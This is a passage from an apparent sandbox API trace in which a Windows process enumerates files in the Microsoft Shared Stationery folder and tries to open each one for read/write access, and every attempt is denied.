ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0145.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.689] GetLastError () returned 0x5 [0145.689] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0145.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.689] GetLastError () returned 0x5 [0145.689] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0145.689] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0145.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.689] GetLastError () returned 0x5 [0145.689] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0145.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.690] GetLastError () returned 0x5 [0145.690] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0145.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.690] GetLastError () returned 0x5 [0145.690] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0145.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.691] GetLastError () returned 0x5 [0145.691] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0145.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.691] GetLastError () returned 0x5 [0145.691] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0145.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.694] GetLastError () returned 0x5 [0145.694] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0145.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.695] GetLastError () returned 0x5 [0145.695] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0145.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.695] GetLastError () returned 0x5 [0145.696] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0145.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.696] GetLastError () returned 0x5 [0145.696] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0145.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.696] GetLastError () returned 0x5 [0145.696] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0145.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.697] GetLastError () returned 0x5 [0145.697] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0145.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.697] GetLastError () returned 0x5 [0145.697] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0145.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.698] GetLastError () returned 0x5 [0145.698] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0145.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.698] GetLastError () returned 0x5 [0145.698] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0145.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.699] GetLastError () returned 0x5 [0145.699] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0145.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.699] GetLastError () returned 0x5 [0145.700] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0145.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.701] GetLastError () returned 0x5 [0145.701] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0145.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.701] GetLastError () returned 0x5 [0145.701] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0145.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.701] GetLastError () returned 0x5 [0145.701] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0145.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.702] GetLastError () returned 0x5 [0145.702] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0145.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.703] GetLastError () returned 0x5 [0145.703] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0145.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.704] GetLastError () returned 0x5 [0145.704] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0145.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.704] GetLastError () returned 0x5 [0145.704] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0145.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.705] GetLastError () returned 0x5 [0145.705] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0145.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.705] GetLastError () returned 0x5 [0145.705] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0145.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, 